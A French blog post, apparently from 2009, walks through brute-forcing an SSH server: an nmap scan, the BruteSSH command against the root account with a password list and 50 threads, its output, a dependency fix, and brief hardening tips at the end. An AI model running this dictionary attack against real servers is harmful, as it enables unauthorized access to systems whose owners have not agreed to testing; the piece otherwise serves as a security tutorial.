Brute Forcer un serveur SSH avec un dictionnaire
09/09/2009
Je vous avais déjà expliqué l’importance d’un outil comme le portknocking ou fail2ban et l’interet de sécuriser son serveur SSH.
En effet, le port 22 et SSH est l’un des services où l’on trouve le plus de tentatives d’intrusion sur les serveurs. Il faut dire que l’attaque est très simple.
Après avoir utiliser la technique de brute forcing pour VNC, voici le brute force pour SSH.
Comment brute Forcer un serveur ssh
- Télécharger l’outil BruteSSH ici
- Télécharger les listes de passwords ici
- Detarrer tout ca
bunzip2 brutessh-0.5.tar.bz2 tar xvf brutessh-0.5.tar
- Rentrer dans le dossier brutessh
- Utiliser nmap pour s’assurer que le serveur que vous voulez tester/hacker utilise bien ssh sur le port 22
nmap 192.168.3.1 Starting Nmap 4.20 ( http://insecure.org ) at 2009-09-05 16:47 CEST Interesting ports on 192.168.3.1: Not shown: 1694 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 8443/tcp open https-alt
- Lancer la commande de brute force suivante
python brutessh.py -h 192.168.3.110 -u root -d password.lst -t 50 ************************************* *SSH Bruteforcer Ver. 0.2 * *Coded by Christian Martorella * *Edge-Security Research * *laramies@gmail.com * ************************************* HOST: 192.168.3.110 Username: root Password file: password.lst =========================================================================== Trying password... abdique's
- -h 192.168.3.110 = l’adresse IP que vous testez
- -u root = l’utilisateur dont vous souhaitez tester le mot de passe
- -d password.lst = où se trouve le fichier dictionnaire avec tous les mots de passe a tester
- -t 50 = nombre de threads (par defaut sur 12)
- Attendez quelques heures et si le mot de passe est dans votre liste vous aurez cracker le serveur SSH
Pour ma part j’ai eu le message d’erreur suivant:
Traceback (most recent call last): File "brutessh.py", line 5, in ? import paramiko File "/home/laramies/devel/python/ssh/brutessh/paramiko/__init__.py", line 68, in ? File "/home/laramies/devel/python/ssh/brutessh/paramiko/transport.py", line 32, in ? File "/home/laramies/devel/python/ssh/brutessh/paramiko/util.py", line 31, in ? File "/home/laramies/devel/python/ssh/brutessh/paramiko/common.py", line 99, in ? ImportError: No module named Crypto.Util.randpool
Pour corriger ce soucis il suffit d’installer python-crypto
yum install python-crypto
Donc pour rappel les bases de sécurisation d’un serveur SSH:
- Mettre la directive PermitRootLogin sur No (/etc/ssh/sshd_config)
- Installer Fail2ban ou PortKnocking
- Modifier le port 22 (/etc/ssh/sshd_config) puis le fermer
A+

Commentaires récents